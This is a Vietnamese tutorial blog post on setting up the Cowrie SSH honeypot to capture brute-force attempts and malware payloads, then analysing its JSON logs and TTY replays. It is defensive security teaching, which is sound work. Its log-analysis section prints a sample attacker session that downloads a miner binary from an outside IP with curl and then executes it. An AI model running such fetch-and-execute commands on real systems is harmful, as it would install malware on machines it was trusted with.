Triển khai Cowrie SSH Honeypot trên Linux: Bẫy tấn công Brute Force và mã độc Payload

Security tutorial - IT technology blog
Security tutorial - IT technology blog

Tiếng ồn bất tận trên cổng 22

Khởi tạo một máy chủ đám mây mới trên DigitalOcean, Hetzner hoặc AWS. Để cổng SSH tiêu chuẩn 22 mở và theo dõi /var/log/auth.log bằng lệnh tail. Chỉ trong vòng hai mươi phút, các công cụ quét tự động sẽ ập đến. Một địa chỉ IP công khai điển hình phải hứng chịu từ 3.000 đến 8.000 lượt tấn công brute-force mỗi 24 giờ, liên tục xoay vòng qua các từ điển thông tin đăng nhập: root/admin, test/123456 và ubuntu/ubuntu.

Hầu hết các quản trị viên hệ thống sẽ triển khai Fail2Ban, bắt buộc dùng SSH key Ed25519 hoặc đổi cổng SSH sang một cổng lạ. Cách này giúp bảo vệ máy chủ an toàn. Tuy nhiên, việc loại bỏ thẳng thừng các gói tin đó lại khiến hệ thống giám sát an ninh của bạn bị “mù”. Bạn đã vô tình vứt bỏ nguồn thông tin tình báo mối đe dọa (threat intelligence) thực tế: các danh sách mật khẩu đang được dùng để tấn công, những lệnh đầu tiên kẻ xâm nhập thực thi sau khi chiếm quyền, và các URL lưu trữ mã độc payload mới nhất.

Cowrie thay đổi hoàn toàn cục diện. Thay vì ngắt kết nối, chúng ta sẽ dẫn dụ kẻ tấn công vào một hệ thống mồi bẫy tương tác.

Kiến trúc cốt lõi của Cowrie

Cowrie là một honeypot SSH và Telnet có mức độ tương tác từ trung bình đến cao. Nó chặn các phiên truy cập trái phép, ghi lại toàn bộ tương tác trên shell và thu thập các tệp nhị phân độc hại. Thay vì chỉ đưa ra một giao diện dòng lệnh tĩnh và ngắt kết nối ngay sau lệnh đầu tiên, Cowrie cung cấp một hệ thống Debian giả lập trực tiếp ngay trong bộ nhớ.

Cơ chế bẫy hoạt động như thế nào

  • Môi trường giả lập: Kẻ tấn công xác thực dựa trên các chính sách tùy chỉnh và được đưa vào một shell ảo. Các tệp nhị phân chẩn đoán tiêu chuẩn—bao gồm ls, cat, wget và uname—trả về kết quả đầu ra POSIX chuẩn xác như thật mà không hề đụng chạm đến hệ thống tệp của máy chủ thật.
  • Ghi lại phiên làm việc: Cowrie tuần tự hóa từng thao tác gõ phím trên terminal, tín hiệu thay đổi kích thước cửa sổ và các chuỗi lệnh pipeline thành dữ liệu JSON có cấu trúc cùng nhật ký TTY có thể phát lại được tương thích với playlog.
  • Đánh chặn Payload: Khi shell bị xâm nhập tải mã khai thác qua lệnh curl -O malware.sh hoặc SFTP, Cowrie sẽ can thiệp vào luồng mạng. Nó tính toán mã băm SHA-256 theo thời gian thực, ghi lại siêu dữ liệu và cô lập tệp payload gốc trong thư mục cách ly để đưa vào sandbox phân tích.

Mô hình chuyển hướng cổng

Tuyệt đối không chạy phần mềm honeypot bằng quyền root. Hãy chuyển tiến trình OpenSSH quản trị sang một cổng khác, chẳng hạn như 2222. Sau đó, Cowrie sẽ liên kết an toàn với cổng không đặc quyền 2223. Quy tắc prerouting iptables ở cấp kernel sẽ chuyển hướng toàn bộ lưu lượng truy cập đến cổng 22 thẳng vào cổng 2223.

Triển khai thực tế: Hướng dẫn cài đặt từng bước

1. Đổi cổng OpenSSH thật

Trước tiên, hãy thắt chặt quyền truy cập quản trị. Chỉnh sửa tệp /etc/ssh/sshd_config:

# /etc/ssh/sshd_config
Port 2222
PermitRootLogin no
PasswordAuthentication no

Hãy tạo mật khẩu out-of-band mạnh trước khi tăng cường bảo mật cho các cổng quản trị. Các công cụ trên trình duyệt như trình tạo mật khẩu tại toolcraft.app/vi/tools/security/password-generator có thể tạo các chuỗi ký tự có độ ngẫu nhiên (entropy) cao ngay trên máy cục bộ bằng JavaScript phía client. Vì không có dữ liệu nào rời khỏi trình duyệt của bạn, thông tin đăng nhập khôi phục sẽ tránh được nguy cơ bị nghe lén trên mạng. Tiếp theo, khởi động lại tiến trình daemon:

sudo systemctl restart sshd

Kiểm tra lại quyền truy cập trên cổng 2222 trong một cửa sổ terminal thứ hai trước khi ngắt kết nối. Đừng bao giờ đóng phiên shell đang hoạt động cho đến khi việc kết nối thử nghiệm thành công.

2. Cài đặt các gói phụ thuộc và tạo người dùng

Cô lập quá trình thực thi dưới một người dùng cowrie riêng biệt. Cài đặt các thư viện Python cốt lõi và các công cụ biên dịch hệ thống:

sudo apt update && sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev build-essential iptables-persistent
sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie

3. Cài đặt và cấu hình Cowrie

Sao chép mã nguồn vào thư mục home của honeypot và khởi tạo một môi trường ảo (virtual environment) cô lập:

git clone https://github.com/cowrie/cowrie.git
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Giữ nguyên cấu hình mặc định ban đầu bằng cách áp dụng các thiết lập ghi đè trong etc/cowrie.cfg:

cat << 'EOF' > etc/cowrie.cfg
[honeypot]
hostname = srv-prod-db01
log_path = var/log/cowrie
download_path = var/lib/cowrie/downloads
auth_class = UserDB

[ssh]
enabled = true
listen_endpoints = tcp:2223:interface=0.0.0.0
version = SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1

[output_jsonlog]
enabled = true
logfile = var/log/cowrie/cowrie.json
EOF

Việc thiết lập hostname = srv-prod-db01 sẽ đánh lừa các kịch bản do thám tự động rằng chúng đã xâm nhập thành công vào một máy chủ cơ sở dữ liệu. Thiết lập chuỗi banner OpenSSH khớp với Ubuntu 22.04 LTS giúp duy trì độ tin cậy của chiếc bẫy.

4. Định nghĩa các bẫy xác thực

Cowrie phân tích cú pháp tệp etc/userdb.txt theo cấu trúc username:group:password. Bạn có thể định nghĩa trực tiếp hành vi cho các thông tin đăng nhập:

cat << 'EOF' > etc/userdb.txt
# Chấp nhận mọi mật khẩu cho root để bẫy kẻ vận hành shell ngay lập tức
root:*:*
# Khớp với các đợt quét thông tin đăng nhập mặc định phổ biến
admin:*:admin123
ubuntu:*:ubuntu
# Từ chối tài khoản dịch vụ cơ sở dữ liệu để tạo dữ liệu telemetry đăng nhập thất bại
postgres:x:*
EOF

5. Chuyển hướng lưu lượng truy cập cổng 22

Thoát khỏi phiên người dùng cowrie và thêm quy tắc chuyển hướng NAT:

exit
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2223
sudo netfilter-persistent save

6. Chạy Cowrie thông qua Systemd

Đóng gói dịch vụ vào systemd để tự động khởi động lại ổn định sau khi máy chủ reboot hoặc bị sự cố. Lưu tệp cấu hình unit này tại /etc/systemd/system/cowrie.service:

[Unit]
Description=Cowrie SSH Honeypot
After=network.target

[Service]
Type=forking
User=cowrie
WorkingDirectory=/home/cowrie/cowrie
ExecStart=/home/cowrie/cowrie/bin/cowrie start
ExecStop=/home/cowrie/cowrie/bin/cowrie stop
Restart=on-failure

[Install]
WantedBy=multi-user.target

Đăng ký unit file và kích hoạt dịch vụ:

sudo systemctl daemon-reload
sudo systemctl enable --now cowrie
sudo systemctl status cowrie

Phân tích thực tế: Điều tra kẻ xâm nhập và mã độc Payload

Phân tích dữ liệu Telemetry định dạng JSON

Các sự kiện trong phiên làm việc theo thời gian thực được ghi liên tục vào /home/cowrie/cowrie/var/log/cowrie/cowrie.json. Lọc các lệnh shell cụ thể bằng công cụ jq:

tail -f /home/cowrie/cowrie/var/log/cowrie/cowrie.json | jq -r 'select(.eventid=="cowrie.command.input") | "[\(.timestamp)] [\(.src_ip)] \(.input)"'

Nhật ký trực tiếp cho thấy quá trình do thám phần cứng, theo sau ngay lập tức là hành vi tải về các thành phần của botnet:

[2026-11-06T11:42:01Z] [198.51.100.42] uname -a; lscpu; cat /proc/cpuinfo
[2026-11-06T11:42:03Z] [198.51.100.42] curl -s http://103.203.45.12/x86_miner -o /tmp/x86_miner
[2026-11-06T11:42:04Z] [198.51.100.42] chmod +x /tmp/x86_miner && /tmp/x86_miner &

Kiểm tra các tệp bị đánh chặn

Khi kẻ xâm nhập cố gắng tải xuống mã khai thác, Cowrie sẽ bẫy tệp nhị phân đó trong var/lib/cowrie/downloads/ với tên tệp là mã băm SHA-256 mà không thực thi nó:

ls -la /home/cowrie/cowrie/var/lib/cowrie/downloads/
sha256sum /home/cowrie/cowrie/var/lib/cowrie/downloads/*

Đối chiếu chéo các mã băm này trên VirusTotal hoặc truy vấn trên máy chủ MISP nội bộ. Bạn sẽ thường xuyên phát hiện các biến thể Mirai đang hoạt động, mã độc đào coin XMRig tự động và các địa chỉ IP của máy chủ điều khiển (C2) bị xâm nhập.

Phát lại toàn bộ phiên Terminal

Cowrie lưu trữ các phiên terminal thô trong var/lib/cowrie/tty/. Bạn có thể tái hiện lại từng thao tác gõ phím, phím xóa (backspace) và mốc thời gian thực thi của kẻ tấn công:

/home/cowrie/cowrie/bin/playlog /home/cowrie/cowrie/var/lib/cowrie/tty/<session_id>

Kinh nghiệm tối ưu hóa và tăng cường bảo mật trong môi trường thực tế

  • Cô lập mạng nghiêm ngặt: Đặt Cowrie trong một VPC riêng biệt hoặc subnet DMZ cách ly. Chặn mọi định tuyến đi ra (outbound) hướng tới các tài nguyên nội bộ (chẳng hạn như các dải mạng RFC 1918) bằng các quy tắc tường lửa egress.
  • Chặn lạm dụng chiều ra (Outbound Abuse): Các mạng botnet thường cố gắng dùng máy chủ bị chiếm quyền làm bàn đạp tấn công tiếp. Hãy luôn tắt tính năng outbound proxying của Cowrie để tránh tạo ra các đợt quét mạng hoặc gửi thư rác có thể khiến IP của bạn bị báo cáo vi phạm (abuse report).
  • Tự động dọn dẹp tệp tải về: Các cuộc tấn công dồn dập có thể để lại hàng trăm megabyte dữ liệu rác nhị phân mỗi ngày. Hãy lên lịch một cron job chạy hàng đêm để nén thành file tar các tệp cũ hơn 14 ngày, đồng bộ hóa chúng lên kho lưu trữ chỉ đọc và giải phóng dung lượng đĩa cục bộ.
Share: